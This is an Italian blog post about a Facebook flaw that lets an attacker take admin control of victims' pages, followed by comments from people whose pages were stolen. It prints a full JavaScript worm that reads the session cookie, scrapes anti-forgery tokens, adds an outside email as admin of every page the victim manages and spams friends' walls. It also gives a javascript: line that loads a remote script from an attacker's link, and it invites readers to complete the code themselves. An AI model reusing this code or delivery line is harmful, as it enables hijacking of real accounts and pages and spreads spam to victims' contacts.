Articoli speciali Hacking

Sicurezza di Facebook violata: Come diventare amministratori di qualsiasi pagina

Potrebbe sembrare uno scherzo, ma non lo è. Facebook da un po’ di tempo a questa parte soffre di una grave falla che permette a chiunque di diventare amministratore di qualsiasi pagina. E già si possono immaginare i risultati di tutto ciò. Non mi credete? Continuate a leggere questo articolo e probabilmente tra qualche minuto andrete a controllare bene chi è inserito all’interno degli amministratori della vostra pagina.

Partiamo prima di tutto con calma: la falla che vi sto presentare si attiva nel momento in cui un ignaro utente effettua un click all’interno di un link ben “programmato”, quindi c’è sempre la salvezza per chiunque di usare un po’ il proprio cervello e di evitare di premere link a caso. Detto ciò entriamo nel vivo.
Ho pubblicato qualche ora un articolo dove illustravo la scomparsa dei bottoni “Commenta” e “Mi Piace” su Facebook. Da ciò è nata una piccola discussione all’interno dei commenti tra me e Matteo, il quale ha iniziato a sostenere che esiste uno script per far si che chiunque possa diventare amministratore di qualsiasi pagina. Con mio grande stupore gli ho chiesto quindi maggiori informazioni ed immediatamente lui ha deciso di mandarmi una email con tutto ciò che sapeva (se non è spirito Hacking questo! 🙂 ).

A questo punto non credevo ai miei occhi. Decido quindi di entrare su Facebook con un mio account secondario, creare una pagina e premere sul link che mi ha mandato… Dopo pochi istanti le mie pupille si sono dilatate davanti a ciò che stavo vedendo davanti al monitor del mio computer: un utente a me sconosciuto era diventato amministratore della pagina appena creata e di altre pagine che avevo creato in passato.
Pochi istanti dopo mi sono precipitato all’interno del codice sorgente Js a cui rimandava il link semi-nascosto con bit.ly per analizzarlo con calma. E’ bastata una velocissima analisi per capire che mi sarebbe bastato modificare qualche parametro per essere io stesso l’artefice di questo attacco e per impossessarmi in pochissimi istanti di centinaia di pagine.

[php]//These are to be posted as status messages
txt = "This is me";
txtee = "… ;)";

alert("Please Wait 15 Seconds ! ");
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

if (x.readyState == 4 && x.status == 200) {
z=x.responseText;
//comp = z.match(/name="UIComposer_STATE_PIC_OUTSIDE" value="([\d\w]+)"/i)[1];
// comp = x.responseText.match(/name="UIComposer_STATE_PIC_OUTSIDE" id="([\d\w]+)"/i)[1];
form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];

with(xx = new XMLHttpRequest())
open("GET", "/ajax/browser/friends/?uid=" +
document.cookie.match(/c_user=(\d+)/)[1] +
"&filter=all&__a=1&__d=1"),
onreadystatechange = function () {
//extracts list of friends

if (xx.readyState == 4 && xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
//facebook returns list of friends images of the form of three numbers separated by _,
//the above regular expression extracts out the middle of the two
//(which infact is the userID of friend)
i = 0;
llimit=25;
t = setInterval(function () {
if (i >= llimit )
return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
if(i == 0) {//do it only once
with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
setRequestHeader("X-Requested-With", null),
setRequestHeader("X-Requested", null),
onreadystatechange = function() {
if(ddddd.readyState == 4 && ddddd.status == 200) {
llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
j=0;
for(j=0;j<len;j++) {
with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
"&friendselector_input%5B%5D=LOL%40LOL.it%09&friend_selected%5B%5D=&save=1");
//I am not very sure on this one but it seems it adds as admin of all pages the user holds
}
}
}, send(null); //end of function to change the admins

// this one collects cookie as well as the personalized status update email address
// (a photo sent to that address is posted on the wall directly)

}

//following code does status update
//the code writes message represented by txt and txtee alternately on the wall of friends.
//txt and txtee are same though (may be author’s mistake)
if(i%2==0)
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
"&target_id=" + m[Math.floor(Math.random() * m.length)] +
//m is an array of id of friends (was created early in the script exec), choose a random friend
"&composer_id=" +
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
//comp, form, dt are (probably) XSRF prevention tokens
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
else
{
with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
"&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id="+
"&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
"&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
}
i += 1;
}, 2000);// 2000 milli-sec window, after which the script is executed again
}

}, send(null);
}
}, send(null);
[/php]

Qui sopra vi riporto il codice che ho trovato all’interno di questo Js. Per evitare che qualche lamer-ragazzino ci possa mettere sopra le mani non vi spigherò come funziona e inoltre ho cancellato la zona in cui bisogna inserire i parametri dell’account che vogliamo rendere amministratore. Vi ricordo inoltre che la stringa da inviare ai vari utenti di cui vogliamo impossessarci le pagine è il seguente:

[php] javascript:(a = (b = document).createElement("script")).src = "https://tuolink", b.body.appendChild(a); void(0)
[/php]

Con un po’ di buona volontà chiunque può risolvere questo piccolo problema, insomma… Dopotutto Google serve anche a questo 🙂

Lascia un commento

105 commenti

  • Avrei bisogno del tuo aiuto. Mi p stata rubata la mia pagina su Facebook, io e le altre admins ne siamo molto addolorate. Avevamo raggiunto un buon numero di Fans. Credo che la pagina sia stata vittima di un virus di Facebook, ho speranze di recuperarla?
    Ti prego aiutami.

    • Alessandra solo se era a pagamento la tua pagina hai speranza di recuperarla…. Qui nessuno ti aiuterà, tra l’altro, facebook nemmeno risponde alle e-mail che eventualmente scriverai….. Oppure trovare quel figlio di una cagna e prenderlo mentre dorme per spaccargli il ….

      • Purtroppo la pagina non era a pagamento
        Facebook non risponde è vero ho mandato una quindicina di e-mail. Se fosse una persona che mi avesse rubato la pagina le avrei già fatto il culo, ma purtroppo si tratta di un virus Hootsuit che pubblica cose in pagina

  • Salve.. mi hanno appena rubato la pagina con 561000 like.. dopo decine di messaggi di “utenti compratori” che avevano fatto molte offerte,alcune anche considerevoli,ci stavo pensando seriamente.
    premetto che non ho mai clikkato su link esterni o cose varie.. ho solo risposto ai messaggi nei quali prendevo “tempo” giusto per capire se fosse una cosa legale.
    Ho il controllo degli accessi via email quindi ho visto che qualcuno mi ha hackerato il profilo e mi ha rimosso dagli amministratori dellla pagina… Ho l ‘ Ip del personaggio… secondo voi potrei fare qualcosa?

    • Una denuncia alla polizia postale tanto per iniziare. Qui non si parla solo della pagina in se per se, ma bensi della violazione dell’email, che è cosa ben più grave.

      • Ludmilla, ho letto su questo blog di uno che ci è andato alla polizia postale e ti ridono dietro…. un sono modo si ha (legalmente) ed ‘è quello di avere una page a pagamento, in quel caso, ci sono dei movimenti bancari che testimoniano la tua proprietà………… Fanno schifo gli admin (italiani) di facebook, non se ne freganno…e la polizia altrettanto…. 🙁

    • Luca, lo stesso che è successo a me…… Appena cliccato sul link del fantomatico contratto mi sono entrati nel pc, ma prima, non so come, si sono nominati admin della page… Che bastardi !!!!! Infami, bastardi !!!

  • Grazie Gero grazie infinite per le parole di conforto che hai voluto inviarmi
    mi spiace che anche tu abbia avuto una disavventura simile
    purtroppo esistono persone spregevoli che non si fanno scrupolo di distruggere le vite altrui.
    non metto iun dubbio che esistano i modi per poter ” rubare ” password a poveri ingenui come te o me , ma bisogna essere persone meschine per fare una cosa simile.
    tutti noi possiamo RUBARE il gelato ad un bimbo di 2 anni, ma solo le persone ignobili possono commettere un’ infamità simile.
    non auguro il male della persona che mi ha rovinato la vita …
    ma mio malgrado mi trovo gonfio di odio, rabbia e risentimento.
    però, Gero, non voglio perdere la speranza, facebook ha sbagliato con te e con me, l’errore è il loro; perchè chi ha fatto del male alla mia famiglia, non è un hacker, è un’ verme !!!

  • mi hanno rubato la pagina gruppo di facebook
    è assurdo !!! nessuno sembra sapere come aiutarmi
    il fatto è che con quella pagina ci lavoro o meglio, ci lavoravo
    mi sono trovato senza ordini e senza clienti ed a tutti gli effetti mi sono ritrovato a 40 anni disoccupato con moglie e 3 figli a carico. ho chiesto alla polizia postale e ad un avvocato… mi hanno sorriso . ” ammetto” di aver pianto come un bambino, io faccio l’artista magari vi farà sorridere ma per me è un lavoro. e facebook era la vetrina del mio negozio !!! laa dentro c’è la mia vita.
    non voglio crearvi disturbo… sono solo disperato
    da ignorante in materia, chiedo a voi, se qualcuno sapesse darmi un consiglio o un aiuto ???
    qualsiasi consiglio sarà benaccetto !!!
    grazie a tutti – william –

    • William, mi dispiace che anche tu come me abbia perso la tua pagina. La mia era di 100k, e non ti nascondo di averci pianto come te….. Qui nessuno ci aiuta, almeno per la mia supplica così è stato…. Ti auguro di riuscirci… io ormai ci ho perso le speranze di riavere la MIA pagina… da dicembre che ci spero…. Ti abbraccio, tuo amico; Gero.

  • Mi hanno rubato la mia pagina con un link in un mex che io ingenuamente ho cliccato. Mi ha preso tutte le pass, oltre la pagina, avevo un secondo account come 2° amministratore,anche a quello ha cambiato tutto. Vorrei solo sapere se posso riaverla, ma non sono tanto bravo come voi… Vi prego di rispondermi… Grazie.

  • ciao ho una domanda da farti:
    in pratica qualcuno è entrato nel mio profilo e ha cambiato la mia password e cosi mi sono fatto un nuovo account ma dovevo fare amministratore di una pagina un mio amico e non posso piu, mi potresti aiutare? se mi rispondi via email (mteo96@hotmail.it) ti spiego tutto meglio

  • salve mi chiamo massimiliano catani io facevo parte di un gruppo chiamato smeet talent mi si viene detto che sono stato cacciato via da un admin vorrei sapere chi e’ l admin di codesto gruppo e come mai io nn ho mai detto frasi sporche ma fatto cose contrarie alle leggi di facebokk cmq vorrei chiedere a voi tt quando e’ fondata questa cosa e vorrei fare un precisazione tt i gruppi sono liberi ed e’ giusto perfavore vorrei che si facesse luce sul accaduto

  • io non riesco piu entrare alla pagina di fb come admin mi fa entrare come visitatore mi date una mano pleas??????????????????????????????
    è della massima urgenza

Prima di continuare, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!

FERMO! Prima di uscire, guarda qui!

Hai trovato quello che stavi cercando?
Rimaniamo in contatto, potresti imparare molte cose!

Grazie!

Sono sicuro che insieme potremmo fare molte cose!